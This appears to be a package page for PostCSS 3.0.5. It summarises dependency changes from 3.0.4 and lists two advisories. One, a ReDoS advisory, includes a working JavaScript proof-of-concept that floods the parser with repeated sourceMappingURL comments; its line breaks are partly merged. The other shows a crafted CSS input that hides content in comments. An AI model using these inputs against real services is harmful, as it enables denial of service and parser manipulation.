PostCSS version 3.0.5 is a minor update to the popular CSS post-processing framework, building upon version 3.0.4. Both versions, authored by Andrey Sitnik, offer developers a robust platform for transforming CSS with full source map support, making them ideal for modern web development workflows. At its core, PostCSS empowers users to automate routine CSS tasks, catch errors, and even adopt future CSS syntax today through plugins.
Key dependencies like 'js-base64' and 'source-map' remain consistent between the versions, ensuring core functionality is maintained. The primary difference lies in the updated development dependencies. Version 3.0.5 features an upgrade to '6to5' (now known as Babel) moving from version 1.12.26 to 1.14.4 and also includes 'less', 'stylus', 'cssnext' and 'node-sass' which are libraries that were not present in the previous version. There's also a minor update to gonzales-pe, incrementing from 3.0.0-11 to 3.0.0-12. These updates likely encompass bug fixes, performance improvements, or new features within those specific development tools. Developers leveraging PostCSS in their build processes should note these changes as potentially impacting their development environment or plugin compatibility. While the core functionality remains stable, staying current with these development dependencies ensures a smoother workflow and access to the latest tools in the PostCSS ecosystem. The releases were very close in time, the 3.0.4 on Nov 22, 2014 and the 3.0.5 was released only 5 days later
All the vulnerabilities related to the version 3.0.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.